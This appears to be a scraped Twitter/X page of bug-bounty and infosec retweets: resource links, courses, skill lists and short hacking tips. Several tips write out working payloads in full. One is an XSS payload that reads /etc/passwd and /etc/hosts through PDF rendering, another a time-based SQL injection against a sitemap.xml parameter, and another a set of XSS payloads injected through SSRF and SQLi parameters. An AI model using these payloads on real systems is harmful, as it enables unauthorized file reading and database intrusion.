Ahmed Talha

Cyber Security Enthusiast |_-_| Learner | Bug Bounty Hunter

� Web application

Attacker & Penetration Tester �

[Coffin @lostsec_]

Use https://t.co/bonasCLhpZ to find subdomains. You get every subdomain on file, along with the date each one was first seen. And it’s insanely fast, results come back within seconds. ⚡
https://t.co/JrA9LlJeec

https://t.co/nibgzFgTFL

[7h3h4ckv157 @7h3h4ckv157]

I came to saw an interesting blog:

🚨 Burp Suite Integration with SQLmap

Definitely gonna try this!

Credit link:https://t.co/L2suHzTIEM

[Coffin @lostsec_]

this latest xss extension is so cool :)
https://t.co/z2EDj6jzwH

[7h3h4ckv157 @7h3h4ckv157]

XSS to Exfiltrate Data from PDFs 🚨‼️

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};https://t.co/9QEsT1A6MW(‘GET’,’file:///etc/hosts’);x.send();</script><script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};https://t.co/9QEsT1A6MW(‘GET’,’file:///etc/passwd’);x.send();</script>

Credit: https://t.co/unvrZ1QabB

NB: I never tried such attacks! Share your thoughts 🤔

#Hacking #infosecurity #infosec #Pentesting #redteam #pwn #CyberSecurity #CTF #CyberSecurity #cybersecuritytips #CyberSecurityAwareness

[Godfather Orwa 🇯🇴 @GodfatherOrwa]

For first time i found a SQL Injection On **sitemap.xml** endpoint 😎😎

#bugbountytips #bugbountytip

target[.]com/sitemap.xml?offset=1;SELECT IF((8303&gt;8302),SLEEP(9),2356)#

sleep payload
[1;SELECT IF((8303&gt;8302),SLEEP(9),2356)#] = 9s

Happy Hunting

#BugBounty

[X @X7Rahman]

I have shared a write-up on my commonly used bookmarks for penetration testing and bug bounty hunting. Have a look it might be useful for you too.

https://t.co/5fgOyL3uiS

#bugbountytips #bugbounty

[Security Trybe @SecurityTrybe]

Skills Required in Different IT Sectors

CyberSecurity:
*Linux
*Networking
*Coding
*Analytic Mind

Software Engineer:
*Python
*Java
*Scala
*C++

Web Development:
*HTML
*CSS
*JavaScript
*PHP

Network Engineer:
*Networking
*Analytic Mind
*Communication
*Documentation

1/2

[Abhishek @aacle_]

Bug Bounty Bootcamp 🕸️📃

• Is an excellent guide looking to break into the world of bug hunting

• The book covers
basics of web security to advanced techniques for finding vulnerabilities

• Emphasis on practical
• Hands-on experience

https://t.co/juvOMjDasy

[Intigriti @intigriti]

If you want to master SSRF, open this thread!

Server-Side Request Forgery vulnerabilities are attacks that allow attackers to send arbitrary requests from the server often resulting in gaining authorized access to data!🤯

A Thread 🧵👇

[Nithin 🦹‍♂️ @thebinarybot]

☃️FREE Blue Team Resources☃️

Security Blue Team is 6 free courses

➡️ OSINT
➡️ Digital Forensics
➡️ Network Analysis

and much more...

#blueteam #bugbounty #hacking #infosec #cybersecurity

[Abhishek @aacle_]

Bugbounty Notes 📒
Inclue OWASP Top 10 And more
#bugbounty #Infsoec

Amazing Git Repo : https://t.co/8x69FiFCrM

If you want :
====
You can join Bugbounty Tips Group : https://t.co/rOrOkVMRFl
====

Check This Out : 👌👇

[Anton @therceman]

Bug Bounty Writeup

CRLF + XSS using GBK Encoding

https://t.co/BOfsBTNZQn

[Nithin 🦹‍♂️ @thebinarybot]

☃️Bug Bounty Checklist for Web App☃️

Methodology on

➡️ Recon
➡️ Authentication
➡️ Session Management

and much more...

[Mahendra Purbia @Mah3Sec]

Recon Methodology | Resources🔽|
https://t.co/y9k17mzzN3
https://t.co/ke4vxVDWX1
https://t.co/J3wq9PvzdF
https://t.co/9z54isBJ1b
https://t.co/mFMqfLH9Pa
https://t.co/2n6BbHMGSm
https://t.co/FoEJTfDmuh
#bugbountytip #bugbountytips #recon #cybersecurity #Pentesting
(1/2)

[Brute @BRuteLogic]

#XSS can be an extra vulnerability brought by a SSRF or SQLi scenario:

SSRF (curl-based)
?url=https://t.co/J3OGhlGejc

SSRF (PHP file_get_contents)
?url=data:,&lt;svg/onload=alert(1)&gt;

SQLi (error-based)
?id='&lt;svg/onload=alert(1)&gt;\

SQLi (union-based) 👇🏾
https://t.co/TMYdZPs0wb

[!Manan @0xManan]

So I finally started writing infosec &amp; bugbounty blogs which I planned for a long time!!📈🎉
@theXSSrat This guy always inspires me to go beyond my limits!!
Let's give back to the community ❤️
https://t.co/7KYyW7xxrq
Like | Follow | Retweet 🔥
Appreciated 😌
#bugbountytips

[Ahmed Talha @TOxin_J4CK]

@AkashHamal0x01 How to sent haha react

[Het Mehta @hetmehtaa]

Free API Security Certified Expert Course
By @hAPI_hacker
Truly Amazing Content 🔥🔥 | Enjoy!

Link : https://t.co/KYbMNkUX6w

Defcon Notes: https://t.co/xbaTD4y6B7

#infosec #thesecureedge #cybersecurity

[Hossein NafisiAsl @MeAsHacker_HNA]

#Secret6
8 Awesome 2FA Bypass Techniques 🗝️

#bugbountytips 🧵👇🏻

[Frans Rosén @fransrosen]

I have researched Oblivious DoH (ODoH) a bit and came to a few conclusions around the lack of security concerns for SSRF in the RFC. I was asked to also make a public issue about it after reporting issues in odoh-server-go made by Cloudflare.

https://t.co/HLshcpTmGL